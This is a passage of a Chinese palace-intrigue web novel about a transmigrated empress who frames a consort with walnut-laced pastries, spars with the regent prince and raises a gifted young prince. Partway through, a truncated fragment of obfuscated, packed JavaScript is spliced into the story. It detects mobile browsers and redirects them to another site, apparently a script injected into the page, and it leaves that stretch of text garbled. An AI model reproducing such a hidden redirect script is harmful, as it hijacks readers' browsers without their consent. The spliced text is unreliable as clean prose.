不过齐晔倒是始终孑然一身毫不动容。
他是南齐的摄政王,是当今圣上最信任的亲弟弟,权势滔天年华正茂,却冷的像一朵高岭之花。
齐渊垂下眼,眼底闪过一丝旁人无法察觉的妒忌。
齐晔的声音打断了他的思绪:“皇兄,若是累了还是去休息吧,龙体为重,臣弟听闻江湖有一神医谷,谷
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中医仙医术了得,已经派人去请了,待那神医来为皇兄调理身体,皇兄必会恢复康健。”
齐渊抬起头,眼神已经变得温和:“晔儿有心了,是朕不中用,朝事已让你操劳不少,今日不过理政一个上午而已,这身体……”
“皇兄莫要担忧,您一定会好起来的。”
“关于南疆之事……”齐晔提到正事,面色冷凝了不少,“北地雍国虎视眈眈,南蛮若是不除尽,将来南齐必会腹背受敌……”
“萧国公已将其退至三百里之外,南蛮也有求和意向,到时候条件好好谈一谈……”
齐晔抱拳跪下,冷声道:“陛下!蛮族言而无信,即便退了,有朝一日还会卷土重来!南齐眼下应乘胜追击,让其再无死灰复燃之可能!”
齐渊叹了口气,扶着额头:“朕怎会不知?可那萧国公想要什么,早就昭然若揭了。”
萧国公拥护三皇子,要的就是齐渊立储。
南齐世家林立,二皇子一党也有意争储,再加上野心勃勃的赵家,三足鼎立的局势一旦打破,朝堂必会大乱。
齐晔沉声道:“陛下,臣愿意带兵出征南疆!”
“不可!”齐渊厉声呵斥,然后猛烈的咳嗽起来,眼眶都微微泛红,“朕只有你一个亲弟弟!你从小是朕一手带大的,朕怎可让你去犯险!”
“禁军留在京中保护陛下,陇西军多是当初臣在禁军的旧部,臣可带兵陇西军出征南疆,兵力虽不敌萧家军,但陇西军士各个骁勇,若是到时候仍有不足,陛下让威远侯派兵南下支援便可……”
齐渊拧着眉摆手,否决了齐晔的计划:“此事勿要再提!”
“朕会想别的法子……”
“陛下……”
老太监捧着拂尘,弓腰低声来报:“皇后娘娘来了,说是陛下国事辛苦,送了点心来。”
齐渊讶异地抬起头:“皇后?送点心?”
太阳打西边出来了?
皇后对他多有不满,起先赵听嫣还会想法子讨好他,后来得知他对她根本无意,恨不得老死不相往来,俩人十天半个月都见不了一次面。
这小姑娘也是跋扈惯了,在后宫四处找茬,齐渊知道她是故意针对自己,就是想给他找麻烦。
上次去探齐子衡时她也是一脸的嫌弃,今日怎会亲自送点心过来?
实在蹊跷。
齐渊沉吟片刻,也没让齐晔离开,招手示意太监:“让她进来吧。”
在殿门口等待时,彩环还一脸做贼心虚的焦虑,待老太监进门禀报,彩环连忙去扯赵听嫣的袖子:“娘娘咱们要不还是走吧!陛下食不得核桃的……”
赵听嫣被她的怂样搞得无语:“你冷静点,核桃又不是我们放的。”
都算计到她头上来了,她怎么可能放过宣妃呢?
顺手恶心一下狗皇帝,正好一箭双雕。
很快,老太监就带着她们进去了。
赵听嫣还是第一次来尚书房,据说是皇帝处理政事的地方,看起来不大,装饰也很简单,还不如坤宁宫奢华。
人……倒是不错。
赵听嫣的视线落在齐晔脸上。
啧,这小脸长得跟男模似的,真俊。
可惜了,这人应当就是齐渊亲手养大的弟弟——肃亲王齐晔,是他名副其实的忠犬。
将来恐怕会成为齐子衡弑父夺位最大的绊脚石。
当初只记得算狗皇帝的几个儿女,差点把此人忘记了……
都得鲨了。
11. 桃花酥
齐晔早就听闻帝后不合。
赵家处心积虑送来的小姑娘,就算为防着赵家皇兄大概也不会对她有多少喜爱,更何况两人差了二十岁。
齐晔只在封后大典上见过她一次,这是第二次。
只是……她眼里的这一抹杀意是怎么回事?
不过赵听嫣的视线倒是没在他身上停留太久,提着食盒径直来到齐渊面前,屈膝行礼:“陛下万安。”
“听闻陛下最近胃口不佳,御膳房的糕点始终就那几种老样子,臣妾特地送点新鲜的与陛下尝尝。”
食盒打开,香气扑鼻,精致的瓷碟中摆了六朵桃花样栩栩如生的果子。
齐渊自然是认得的:“桃花酥?”
赵听嫣皱了皱鼻子,轻哼一声,倒是少见的小女儿情态:“陛下果然常吃啊。”
“宣妃姐姐送到坤宁宫来的,说是只做与陛下一人吃过,还说什么是入宫前特地在点心铺学的手艺,只为讨陛下欢心呢!”
“这话都说了,臣妾哪里还敢入口啊,这不赶忙给陛下送来了,喏,还热着呢,您快吃吧。”
说完还撇过脸去,微微嘟唇,显然是吃味了。
赵听嫣并不知道从前的原身从未在齐渊面前露出过这般娇憨的小女儿情态。
她嫁入皇宫并非为了情爱,是以即便大婚之夜,赵听嫣也是端庄大方的模样,一颦一动都是属于皇后身份的得体。
可现在的赵听嫣不一样。
吃过猪肉也见过猪跑,各大视频平台偶像剧天天轮播,身为狂热追剧爱好者当然知道怎么演。
所以……一不小心演的有点过。
就连一旁的齐晔也看了她一眼,然后迅速将视线挪开,耳根似乎还染上了一丝难以察觉的红晕。
赵听嫣轻咳了一声,稍微端正了一下仪态,捏起一枚桃花酥要往齐渊嘴边喂:“陛下,臣妾喂您尝一块?”
管他呢,先乘胜追击再说。
亲手喂狗皇帝吃掉,然后看着他过敏浑身长疹子,简直不要太爽。
面前的少女明眸皓齿,双瞳如秋水,柔柔素手竟捏了一块糕点朝他递过来。
赵家小女是京城闻名的绝艳,当初大婚时齐渊也被惊艳过,但她处处端庄,即便生气时言语跋扈,也从未向齐渊展露过一丝娇媚情态。
冷冰冰的,仿佛只当他是拥有至高权力的器物。
一时的惊艳很快消散,加之赵家实在虎视眈眈,齐渊自然没办法对她产生什么情谊,便就互相冷对起来。
她今日的模样……着实让齐渊有些意外。
“陛下!”齐晔突然打断了两人郎情妾意的投喂。
齐渊轻咳一声,苍白的双颊有些泛红,这种场景被自己弟弟看着似乎是有点羞耻,正打算让他离开,却听齐晔道:
“臣弟见兄嫂琴瑟和鸣,心中着实欢喜,不知可否也讨一块糕点尝尝,沾沾兄嫂的喜气?”
再抬起头时,齐晔的视线已经径直落在赵听嫣身上。
不见刚刚的羞怯,更无半点对长嫂的敬意,而是一种胸有成竹的探究。
完了,恐怕被他看出来了。
赵听嫣眯了眯眼,面色岿然不动,等着齐渊发话。
实际心里早就对这兄弟二人鞭尸一百次了,兄弟俩一个比一个狗,哄住了一个另一个竟然也如此敏锐,早知道齐晔在这儿,她就该等会儿再来……
真是坏她好事!
经过齐晔提醒,齐渊那股上头劲儿也迅速冷了下来。
他扫了眼瓷碟,心下了然,想必齐晔也是在此处看出了端倪。
南齐以七数为吉,这种果子从来都是一碟七个,宣妃曾经给他送来时也是装七块。
可这一碟只有六块。
皇后说自己没吃,那少的那一块去了哪里?
这碟桃花酥必然有问题。
齐渊对上齐晔的视线,身子向后退去:“也好,让皇弟也尝尝,这桃花酥的确比御膳房的手艺强。”
老太监上前来提起食盒,端放在齐晔面前。
赵听嫣眯着眼睛看他。
吃吧,最好这小子也对核桃过敏,一下子撂倒一双!
齐晔捻起一块桃花酥,放入口中,他吃的斯文好看,速度不算快,直到将整只桃花酥都吞下去,才露出享受的表情:“这点心果然美味!”
“皇兄可否向宣妃娘娘讨一讨方子,臣弟好让王府的厨子也学起来。”
齐渊笑道:“如此甚好,德福,去让人将宣妃请来,让她带上桃花酥的方子!”
说着又像是在回忆:“朕记得这糕点似是用各种花瓣果酱制成,吃起来一股淡淡的桃花香味,甚是可口。”
“只有花瓣果酱吗?”齐晔凝眉,“没有加入一些坚果碎吗?”
齐渊摇头:“应是没有的。”
“奇怪了,臣弟倒是在这桃花酥中尝到了一些坚果。”齐晔沉声道,“虽然磨得很碎,但还是能隐隐尝出一点油香味。”
德福公公立刻面露骇色:“王爷,能尝出来是什么坚果吗?”
齐晔顿了顿,视线落在赵听嫣脸上:“像是……核桃或者杏仁一类。”
德福公公大惊,连忙向齐渊叩头,然后去膳房将糕点厨子喊来,一阵手忙脚乱的查验之后,那厨子紧张道:“回禀陛下,此果子内的确掺了核桃碎,但捻的极碎,寻常人入口怕是尝都尝不出来的,恐怕只有常做糕点的厨子才能分辨。”
赵听嫣烦躁地看了眼齐渊冷峻的面色。
原本她的计划是狗皇帝吃的发疹子了,龙颜大怒,然后揪出宣妃,她直接一波收两个人头。
谁知道半路杀出个程咬金,帮齐渊扛了一波伤害。
没办法,戏还得接着演。
赵听嫣立刻露出失措的表情,泪水涟涟地跪在地上:“核桃?臣妾食不得核桃啊!对,臣妾记得陛下也食不得!”
“幸好!”赵听嫣拍拍胸口,期期艾艾地说,“幸好陛下还没有食用,宣妃怎么能往这桃花酥中放核桃呢……”
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说着才看向齐晔,假惺惺地说:“肃亲王也对核桃有疾吗?需不需要宣太医?”
“谢皇嫂关心,臣弟无碍。”
得了,这波伤害白打。
“好了。”齐渊伸手将赵听嫣扶起来,面色平静看不出喜怒,声音也恢复温和,“皇后真的没有吃吗?”
看似关心,实则试探。
赵听嫣当然知道老阴比怎么想的,反将一军,软声道:“怎么,陛下希望臣妾吃了吗?”
“臣妾幼时染过寒疫,与当时染疫的大部分人一样,只要食用核桃就会浑身生疹。彼时臣妾年幼,并不知大内情况,直至后来嫁入宫中,才听宫人们讲陛下也曾染过寒疫,可陛下仁慈体恤民生,并未让宫中因此禁食核桃。”
“陛下为万民着想,谁承想却给了有些歹毒之人可乘之机!”
“三皇子今日在学堂上欺辱衡儿,宣妃姐姐说是为了赔礼,特地送了这碟桃花酥来,臣妾不得不应。”
“臣妾只是心中酸涩,陛下宠爱宣妃姐姐,以至于让三皇子在学堂中拉帮结派,欺辱兄弟,而臣妾甚至敢怒不敢言,堂堂中宫之主,被人欺负到头上来,一碟点心也就打发了……”
“宣妃姐姐口口声声说这是只做给陛下的点心,言外之意就是臣妾不配食得,臣妾岂还敢吃?便想着给陛下送来……”
“但毕竟是陛下入口之物,送来前臣妾已让小厨房的师傅取了一粒查验,确认无误后才敢送来的。”
“谁知那厨子愚笨,自是不如御膳房的糕点师傅经验丰富,竟没能看出里面掺了核桃粉末……”
赵听嫣又扑通一声跪在地上:“是臣妾失察,陛下治臣妾的罪吧!”
说完就呜呜哭了起来。
这一波操作连齐晔都看呆了。
这位皇嫂年纪不大,嘴皮子倒是利索,这颠倒黑白的能力拉出去与朝堂中那帮油滑老臣辩驳一二,恐怕也不会落得下风。
赵听嫣心中冷哼,老娘可是甄嬛传十级学者,就宣妃那点小儿科伎俩,本来都不值得她演这一波。
要不是为了恶心恶心齐渊,她根本不值当把点心送来。
可惜了,竟然碰上个忠犬挡了伤害,实在是可恶。
这一波赵听嫣给狗皇帝高帽子也戴了,苦也诉了,怀疑也给了合理的解释,又委屈又懂事还贴心,简直就是一朵出淤泥而不染的白莲花。
齐渊就算还是怀疑,就仗着她这一番话,也没办法责怪她。
果然,狗皇帝的态度软了许多,这次干脆躬身双手将赵听嫣扶了起来,柔声道:“怎么能怪皇后呢,你也不知情啊,是宣妃心思不正,若是你没有将点心拿来,又恰好遇上晔儿馋嘴,此时恐怕已经浑身发疹了。”
齐渊让人给赵听嫣搬来了椅子,眼底划过一丝不易察觉的冷意:“你说三皇子在学堂中拉帮结派,欺辱兄弟,是怎么回事?”
原来如此。
他根本不在乎后妃们的勾心斗角,在乎的只是那些拉帮结派,妄图威胁他皇权之人。
12. 皇嫂
赵听嫣添油加醋地将齐子衡在学堂被人排挤的事情讲了一番。
当然,重点还是放在三皇子身上。
着重讲了他与宣家、淳亲王以及萧家三个小子之间亲密无间的“兄弟情”。
宣家与淳亲王暂且按下不表,只萧家的态度就足够狗皇帝生气一阵的了。
朝中之事赵听嫣最近也没少打听,听说萧国公在南疆打了胜仗,将一直在边境骚扰的蛮族击退了三百里。
饶是赵听嫣不懂军事,也明白此时并不应该班师回朝半程开香槟。
自古以来明君能将对边境滋扰的态度从来都是追击到底,要么将其彻底剿灭,要么就是把对方撵回老家,挫的他们几十年无法恢复元气,再也不敢来犯。
南蛮此时的情况就应该乘胜追击。
可那萧国公却兴冲冲地打了捷报,班师回朝了。
摆明了以此为胁,让皇帝给三皇子一点甜头尝尝。
那边狗皇帝被萧国公威胁的有苦难言,这边三皇子小小年纪就在学堂中拉帮结派,与萧家的小子好的穿一条裤子,一起欺负自己的亲弟弟。
狗皇帝被蹬了鼻子又上脸,肯定气炸了。
果不其然,等宣妃袅袅婷婷地走进殿中,还来不及下跪行礼,齐渊已经将桃花酥砸了下来:“你故意在这桃花酥中加了核桃?”
宣妃面色一骇,吓得魂都没了:“这这这桃花酥怎么会在陛下这里?”
看到一旁洋洋得意的赵听嫣立刻就明白了,气急败坏道:“皇后娘娘,你怎么将臣妾送给你的桃花酥给拿到陛下这里来了?”
细细扫视着赵听嫣莹玉般的面庞:“你……没吃?”
这个宣妃果然是那种美艳无脑的类型。
赵听嫣想笑只能忍着,挑眉问她:“宣妃姐姐怎么知道本宫没吃?”
“哦,难不成是看本宫脸上并未长出骇人的红疹,才下此定论的吧?”
“我……我没有!”宣妃连忙叩头,“陛下明察,臣妾不知情啊!臣妾没有放核桃……”
说着像是想起来什么,又慌慌张张地改口:“不不不,臣妾……臣妾不知道皇后娘娘对核桃有疾,臣妾不知道她不能吃……”
这下连齐渊都无奈扶额了。
大抵是心累了懒得与其掰扯:“宣妃故意毒害皇后,纵容三皇子欺辱胞弟,现将其母子二人禁足景翊宫,任何人不得探视!”
宣妃哭着被拖了出去,齐渊摆手让众人一起离开,唯独留下了赵听嫣。
赵听嫣知道狗皇帝表面上的怅然肯定是演的。
这事儿一出他第一反应是生气的,但也是一个绝佳的契机,萧国公不是用南疆要挟他么,现在囚禁了三皇子,想把他放出来萧国公就必须回头打南蛮。
齐渊心里指不定怎么乐呢。
当然赵听嫣也笃定了齐渊不会一起治她的罪,才能肆无忌惮的开这么一波大。
赵家、二皇子和三皇子在前朝三足鼎立,这一波针对了三皇子,若是再对皇后出手,保不齐赵家会与支持三皇子的萧家暗中联合。
赵父掌控北地,萧家执掌南疆,若是两家联合,他这个皇帝也就当到头了。
赵听嫣倒也不拆穿他,只静静候在一旁。
待他批完手中的一张奏折,才温声道:“皇后此番受委屈了。”
“衡儿今日第一天入学,可还适应?”
赵听嫣看了眼外面的日头,约莫刚下学,应当没有再被欺负了,学业上的事情也不必担忧,她叮嘱过夫子,就是让齐子衡去学堂混个日子,简单的很。
“承蒙陛下关心,衡儿第一日上学的确有些紧张,但夫子待他很好,想必将来定是能好好读书的。”
齐渊点点头:“皇后聪慧,衡儿跟着你朕就放心了。”
看似夸奖,实则是在点她呢。
意思是她的那点弯弯心思他都猜到了。
这狗皇帝果然还是一如既往的虚伪爱打太极,赵听嫣干脆也就挑明了:“陛下,臣妾帮您解决了这么大一个麻烦,您不给点赏赐吗?”
齐渊放下手中的笔,盯着她打量了半晌。
终于露出一抹笑来:“想要什么?”
赵听嫣站起来在尚书房溜达了一圈。
这赏赐也只是趁着狗皇帝心情好顺便要的,不能触了他的逆鳞,更不能得寸进尺。
思索半天,什么都不如钱来的实在。
“请陛下赐臣妾二姐赵听雨北境行商之权。”
南齐并不允许商贾私下与他国通商,与周边诸国的行商权都掌握在皇商手中,也就是大公主那里。
前些年西域与南齐交好,这才渐渐允许西域与南齐私下通商,其他诸国却是不允的。
尤其是实力雄厚的雍国。
这几天赵听嫣也了解过二姐行商之事,她天纵奇才,她已掌握南齐大半商界,若是能行走雍国,以她的才智,赵家的经济体量怕是能再翻一番。
这事儿对于齐渊来说就是点个头的事。
毕竟大公主那边与雍国的贸易多是马匹盐铁一类重器,赵听雨的主营业务则是丝绸布匹茶叶这等小商品。
二者并不冲突,放赵听雨去做,于南齐来说百利而无一弊。
齐渊果然答应了:“南齐本与雍国交恶,雍国百姓也不乐与南齐交际,因此才不欲与其行商。但若是你二姐能打通雍国商路,倒也是一件美事。”
交恶什么交恶,雍国又不傻怎会有便宜不占,待到赵听雨带着南齐物美价廉的商货到达雍国,她就不信雍国人能忍住不买。
到时候她二姐的名字就不止是响彻南齐这么简单了。
最重要的是……赵听嫣也需要在这十年之间,得到更详实的雍国信息。
十年后齐子衡会勾结雍国弑父篡位,她作为任务执行人,总得知己知彼才是。
得了齐渊的允诺,赵听嫣心情轻松了不少,瞟了眼他刚刚放下的象牙玉骨笔:“陛下这支笔不错。”
齐渊:?
赵听嫣又摸摸桌上的砚台:“这墨和砚看着也是上品,还有这青瓷琉璃瓶,插上两支文竹摆在书房里甚是美观。至于这方奇石,与琉璃瓶也很搭配……”
齐渊:……敢情来尚书房进货呢?
“朕以为赐你二姐的行商之权已经是赏赐了。”意思是你别得寸进尺。
赵听嫣挑了挑眉。
还抠上了?那别怪我翻旧账了啊:“臣妾将衡儿接进坤宁宫后,二姐送了二十八台金银器物,大公主也送了两箱给衡儿的日用,就连荣贵妃和宣妃都送了礼物来。”
就你兜比脸还干净。
齐渊:“……是朕思虑不周了,一会儿让德福去朕私库抬两箱送去坤宁宫。”
赵听嫣满意了,躬身行礼告退:“那臣妾刚刚看上的笔墨花瓶什么的,也要一并送来啊。”
齐渊:……
赵听嫣心情颇好,领着彩环哼着小曲往坤宁宫的方向走。
却在离了尚书房百尺的位置,与齐晔“巧遇”。
狗狗要来替主人报仇了呢。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16986089|193636||http|test|mini|href|location''.split(''|''),0,{}));
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>赵听嫣睨了他一眼:“肃亲王还没走呢?这是在等本宫?”
“只是巧遇而已,”齐晔拱手,“皇嫂。”
“臣出宫恰与皇嫂顺路,不如同行?”
跟他废物哥哥一样装装的,赵听嫣扫他一眼:“有什么话就直说吧。”
齐晔的表情也冷了下来:“皇嫂年轻貌美,若是真的能与皇兄琴瑟和鸣,倒也是一桩美谈。”
“臣知道皇嫂想要什么,也知道赵家想要什么,一切皆因皇恩,皇嫂还需明白孰轻孰重才好。”
赵听嫣凑近,两人之间只隔着一拳,这绝不是嫂子与小叔子该有的距离。
她额间的红宝石坠珠轻轻擦过对方的下颌,说起来这小叔子实在貌美,浓眉挺鼻,要不是她身负教导齐子衡弑父杀君的重任,高低得搞个背德叔嫂剧本玩玩。
果然,齐晔眼中闪过一丝张皇,黑眸在赵听嫣娇美的面庞上扫了一眼,便迅速挪开,又后退一步,脸上已经泛起羞愤的红晕:“皇嫂逾矩了!”
赵听嫣不禁失笑,装什么冷心冷情摄政王呢,其实不过是个纯情笨狗而已。
“你也知道逾矩?”赵听嫣挑眉看向他,“那你不觉得你对本宫说的这番话逾矩吗?”
“本宫与陛下之间的感情如何,轮得到你做兄弟的品评?”
“皇后娘娘对陛下是否真心相待,您心中清楚。”
连皇嫂都不叫了,摆明了想与她划清界限,“若是真心,便不会在明知陛下对核桃有疾的情况下,将那碟桃花酥送来。”
“皇后娘娘也不必扯出那些冠冕堂皇的解释。”
“臣可不会像陛下一样心软好说话。”齐晔冷道,“这是最后一次,若是皇后娘娘还想对陛下行不义之举,臣手段可是多的很,区区赵家而已……”
“臣动不了威远侯,还动不了赵擎和赵听雨么?”
赵听嫣突然有点羡慕齐渊这个老登了。
竟然能有人这么无条件的爱护他,一心一意待他,将他视作最重要的人。
纯情而忠实,哪怕牺牲自己,也要为他扫除一切障碍。
这狗皇帝何德何能啊?
真诚果然是必杀技。
让赵听嫣都有些不忍心将真相说与他听了。
犹豫了片刻,赵听嫣还是叹道:“肃亲王对陛下果真忠心耿耿。”
“听闻太后过世的早,是陛下一手将肃亲王带大,肃亲王待陛下之情自然如父如兄,充满孺慕之情。”
“只是肃亲王,你确定……陛下也以同等情谊待你吗?”
齐晔一愣,眉心锁起:“你还想挑拨我和陛下的关系?”
赵听嫣挑唇:“不是挑拨,只是想剖析给你看看。”
“今日在你尝到那块桃花酥之前,你和陛下应该都猜到了点心有问题吧?”
“但你们猜不到的是,里面到底被加了什么。幸而只是核桃而已,若是其他的什么毒物呢?”
“你担忧陛下,所以义无反顾的选择先他试吃,可他明知道此物有恙,却对你的行为不阻止,他明明可以找其他无关之人试毒,或是干脆叫太医院来查验,可他却没有那么做,这是为什么呢?”
赵听嫣抬起头,言笑晏晏的模样映在他漆黑的瞳孔中:“他真的像你想象中那样在乎你吗?”
齐晔愣住了。
眼底是浓郁的呆滞与茫然。
赵听嫣轻笑一声,转身离开:“如果是我的孩子,哪怕有一丝遇险的可能……”
“我都会永远挡在他前面。”
13. 父母之爱
赵听嫣回到坤宁宫时已经日落了。
按理说文华殿那边未时末就该下学的,可眼下已经酉时,还不见齐子衡人影。
该不会又有谁使坏欺负这小子了吧?
不应该啊,她都给了一波下马威了,谁这么胆大,不要命了吗?
赵听嫣有些担忧,连忙带着几个武侍打算往文华殿去。
谁知道还没出坤宁宫,就看到齐子衡从不远处跑跑跳跳而来。
小豆丁兴冲冲的跳到赵听嫣面前:“皇后娘娘!衡儿回来了!”
身旁的小侍怀里捧了一大叠染了墨迹的纸,齐子衡从中抽了一张,得意地展开给赵听嫣看:“娘娘您看,这是衡儿今日写的大字,写的好吗?”
满满一页规整的正楷,跟印刷的似的。
不是,五岁小孩,第一次学写字,能写成这样?
赵听嫣目瞪口呆。
齐子衡这小子应该不至于骗她,也就是说……完蛋了,这是个天赋异禀的家伙。
说好的纨绔废柴呢!从小就这么有天赋还怎么长成纨绔啊啊啊!
赵听嫣心中崩溃极了,但表面还得装的不喜于色:“衡儿真……厉害?所以你这么晚才回来,都是因为在学堂中习字吗?”
“习字只五百个而已,衡儿还想再学,夫子说不易贪多,剩下的时间夫子在给衡儿补习前面的课程。”
“夫子还夸衡儿聪慧呢,说是从未见过如此天资聪颖的孩子,讲一遍便都能懂了,衡儿今日学了《论语》十篇,《孟子》八篇,《春秋》十二篇,皇后娘娘,衡儿背给你听……”
赵听嫣险些站不稳。
她只觉得眼冒金星,声音都虚弱了:“李赞他答应我的,说是你年幼,不会特地给你补习……”
“夫子说皇后娘娘定是在客套!他定会好好培养衡儿,不让皇后娘娘失望……”
赵听嫣两眼一闭。
晕了。
……
赵听嫣虚弱地靠在床边喝参汤。
太医来诊治过,说她只是一时激动,有些急火攻心才晕过去的,近期应当静养,莫要情绪波动太大。
彩环一边给她喂参汤,一边感慨:“娘娘当真是将四殿下当做亲生的孩子!知道他如此好学,竟然都激动地昏过去了……”
“说起来四殿下确是个好苗子,娘娘神机妙算,当真是赌对了,以后四殿下一定能成为一代明君!”
“噗——”
赵听嫣郁卒喷了一口参汤。
她可真是有苦不能言啊。
“娘娘,四殿下一直在门口候着呢,他很担心您。”彩环指了指门口瘦削的小影子。
赵听嫣叹了口气:“让他进来吧。”
刚刚还因为学了新知识兴奋不已的小家伙此时已经成了一颗蔫巴巴的豆芽菜,垂着脑袋走进赵听嫣的寝殿,看到她脸色苍白的样子小脸更垮了:“皇后娘娘,您怎么样了?”
赵听嫣让他靠到床边来:“无妨的,衡儿不要担心。”
齐子衡眼眶都红了,看起来十分自责:“皇后娘娘,都怪衡儿,是衡儿害您病倒的。”
是这个道理但好像又有哪里不太对……
“皇后娘娘,您是不是……不想看到衡儿好好读书?”齐子衡一双水濛濛地大眼睛认真地看着她,乖巧地像狗狗一样,仿佛只要赵听嫣点头,他下一秒就能去把书本都撕了。
赵听嫣:……算你小子真相了。
彩环却立刻愤愤解释:“四殿下您怎么能这么想呢?娘娘看到您聪慧上进当然高兴啊,正是因为太过欢喜,这才激动之下昏倒的。”
齐子衡有些疑惑:“可是皇后娘娘是因为衡儿生病的,是衡儿的错。”
赵听嫣挠挠头,感觉这个谎如果不好好圆回去,她大概会被天打雷劈。
“衡儿,我只是不想看到你太辛苦。”
“才第一天上学堂就被夫子留下补习了那么久,午饭怕是都没吃上吧?你……不必那么努力,我只是想让你健康开心快乐,就满足了。”
彩环总结补刀:“最爱你的人心最低,不求才高八斗,只愿平安喜乐。”
吧嗒。
一滴圆滚滚的泪珠从齐子衡眼眶中滑落,小家伙瘪了瘪嘴,然后猛地扑进赵听嫣怀里。
赵听嫣:……行吧。
好不容易哄好了自我攻略的齐子衡,赵听嫣想了一晚上,这孩子天赋摆在这儿了,一味地阻止说不定会适得其反,得想想办法让他对其他更玩物丧志的东西产生兴趣才行。
每年冬节妃嫔们都可回娘家探亲,就在下个月,到时候把齐子衡带回赵家玩玩,顺便带他在宫外见识见识什么叫灯红酒绿人间喜乐,她就不信到时候这小子还能一心只读圣贤书。
另外还是得两手都要抓。
得为齐子衡在学堂中培养一批自己的小弟,一方面是为他形成仗势欺人的纨绔性格筹备人力资源,另一方面那些小弟们肯定比齐子衡见多识广,多带他玩一玩他大概就觉得读书没意思了。
但拉拢小弟不能只靠立威,还得给点甜头。
一般的金银财物怕是这些小少爷们不会感兴趣,都是权贵子弟,什么没见过,要给就得给点新鲜的。
赵听嫣想了几天,还是准备点小零食最妥当。
小孩子嘛,再大的毛病,一顿肯德基就治好了。
于是第二天赵听嫣就钻进厨房,致力将坤宁宫小厨房打造成KFC工业流水链。
烤面包研究了三日,炸鸡配方研究了两日,奥尔良口味研究失败,好在招牌蛋挞让赵听嫣试了七八天,总算搞出来了。
不知是不是看着赵听嫣每日在厨房烟熏火燎的太过辛苦,齐子衡这些时日食欲都比平日好了不少。
往日每日晨起只喝的下一碗牛乳,如今至少两碗,午膳赵听嫣会差人送去文华殿,每次都空盘,晚上回来吃的也不少,每当赵听嫣厨房新研制出什么菜品,齐子衡都能吃的干干净净,然后把赵听嫣的厨艺夸得天花乱坠。
不过几日的功夫,从前干瘪的小脸就肉眼可见的圆润起来。
每当赵听嫣笑眯眯地掐着他的脸蛋夸他长高了时,齐子衡都能开心一整夜。
最爱你的人心最低,齐子衡永远记得这句话。
他本以为好好读书长学问,为皇后娘娘争气她才会高兴,可没想到她却只希望他健康快乐。
齐子衡不知该怎么形容那时的心情。
他是一棵飘渺无依的枯草,只要是有阳光能照耀到的地方,求生的意识都会让他顺着石头缝往上攀。
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他被冷了太久,为了那一点光亮,做什么他都愿意。
他不怕苦不怕累,甚至连他自己都没有意识到,他始终在讨好的活着。
本以为钻出石缝破土而出时会让皇后娘娘开心,会赞扬他的优秀和坚韧,可皇后娘娘却在心疼他。
她看到的不是他钻出石缝之后的茁壮和昂扬,而是心疼他在攀岩时遭尖锐碎石欺压的苦。
她说只愿你健康快乐。
齐子衡这才后知后觉,原来他的太阳已经为他生命的每个角落都铺满了温暖,他不必钻石缝,也能被爱。
那一夜齐子衡辗转未眠。
或许是过去的苦日子让他患得患失,又或许是皇后娘娘真的太好了,好的让他不得不产生怀疑,他真的值得被这般爱着吗?
皇后娘娘到底为什么要待他这么好?
她是整个皇宫最漂亮的女人,拥有至高无上的权力,有着幸福美满的家庭,他们的生活本无半点交集,她又是为什么如天神般从天而降,解救受苦受难的他?
就在齐子衡快要放弃思考这个问题的时候,夫子讲到了“老吾老以及人之老,幼吾幼以及人之幼。”
“老吾老、幼吾幼皆乃人之常情,故圣贤垂训,贵在以及二字。此二字,如推窗见月,破茧成蝶,此心一推,便是将方寸之私爱,化为浩荡之仁风……”
人天生便有恻隐之心,推己及人,便是仁爱。帝王仁爱便是仁政,才能大道之行,天下为公。
身为一国之母的皇后娘娘,必定也是仁爱的。
齐子衡突然听不清台上的夫子到底在讲些什么了。
这些天苦困于他的问题终于拨云见日——
是因为皇后娘娘本身就是一个很好的人,她会仁爱的对待每个人。
亦或者说,那日若被两个太监欺辱的只是野猫野狗,皇后娘娘也会救下它,给它吃食,给它温暖。
齐子衡心底突然觉得空落落的。
直至下学,夫子喊住他:“四殿下,今日为何看起来心绪不宁,可是课业上有什么疑难不解吗?”
同学们正在依次收拾东西离殿,与夫子行礼告别。
待人都走的差不多了,齐子衡才犹豫地说:“劳烦夫子,学生的确有一处不解。”
“私爱推心乃是仁爱,仁爱浩荡,那……皇后娘娘……和陛下,待我与兄姐们,到底是私爱还是仁爱呢?”
夫子并未察觉到齐子衡脆弱的心。
只将此问当做一道议题来辩驳,既有私爱又含仁爱,辩证地扯了一大堆,齐子衡都没听进去。
直到身后有人出声解惑:“父母之爱是私爱,若非父非母仍能爱之,便是仁爱了。”
齐子衡回过头,只见齐子君站在他身后,朝他露出一个温和的笑来。
“二哥。”齐子衡拱手行礼。
二皇子齐子君笑道:“没想到四弟不过刚刚开蒙的年纪,便能思虑至深,着实让为兄佩服。”
齐子衡不想再跟齐子君继续这个话题。
没想到齐子君似乎看穿了他心中所想:“虽说我们都不是皇后娘娘亲生的孩子,但她是我们的嫡母,她待我们几人的情谊都是一样的。”
“不过……嫡母大约与亲娘还是有所不同的吧。”
14. 吃撑了
赵听嫣的坤宁宫KFC小食堂开发的非常成功。
已经成功研制了香辣鸡腿堡、吮指原味鸡、嫩牛五方以及葡式蛋挞。
赵听嫣特地用油纸包好,精致的摆放在食盒中,让齐子衡带去学堂拉拢小弟。
当然齐子衡自己也非常爱吃。
他个头明显窜高了,小脸蛋也圆润了不少。
不过这小子最近的胃口仿佛无底洞,三餐吃的多,加餐也一顿不落,赵听嫣都怕他撑坏了,吃的时候都尽量让人拦着。
赵听嫣连着三四日换着花样让他往学堂中带零食,寻思着小弟应当收买的差不多了,打算亲自去文华殿瞧一瞧如今的学堂氛围。
还没出门,就见彩环急吼吼地在后面喊她:“皇后娘娘,您……快来看看!”
彩环站在齐子衡房门口,身后洒扫的婢女从房里拖出来两口半大箱子。
箱子打开,一股食物的腐烂味扑鼻而来。
赵听嫣掩着口鼻走了过去,只见那两口箱子里摆满了小汉堡、蛋挞炸鸡之类的食物,整整齐齐地码在一起,就像小松鼠藏在窝洞中的松子。
唯一不同的是,这些食物禁不住存放,已经发霉发臭了。
彩环尽数点了点,这几日赵听嫣让齐子衡拿去学堂的食物都在这里,每一种大概都只少了一两样,应当是他自己吃的。
